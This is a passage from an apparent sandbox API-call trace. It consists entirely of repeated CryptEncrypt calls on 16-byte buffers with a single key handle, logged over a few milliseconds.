pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.705] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.706] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.706] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.706] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.706] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.706] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.706] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.706] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.706] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.706] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.706] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.706] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.706] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.706] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.706] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.706] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.707] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.707] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.707] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.707] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.707] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.707] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.707] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.707] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.707] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.707] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.707] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.707] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.707] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.707] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.707] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.707] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.707] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.708] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.708] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.708] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.708] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.708] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.708] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.708] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.708] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.708] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.708] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.708] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.708] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.708] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.708] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.708] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.708] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.708] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.708] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.708] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.708] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.709] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.709] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.709] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.709] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.709] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.709] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.709] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.709] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.709] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.709] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.709] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.709] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.709] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.710] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.710] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.710] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.710] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.710] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.710] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.710] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.710] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.710] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.710] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.710] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.710] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.710] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.710] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.710] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.710] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.710] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.710] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.710] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.711] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.711] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.711] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.711] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.711] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.711] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.711] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.711] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.711] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.711] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.711] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.711] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.711] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.711] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.711] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.712] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.712] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.712] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.712] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.712] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.712] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: 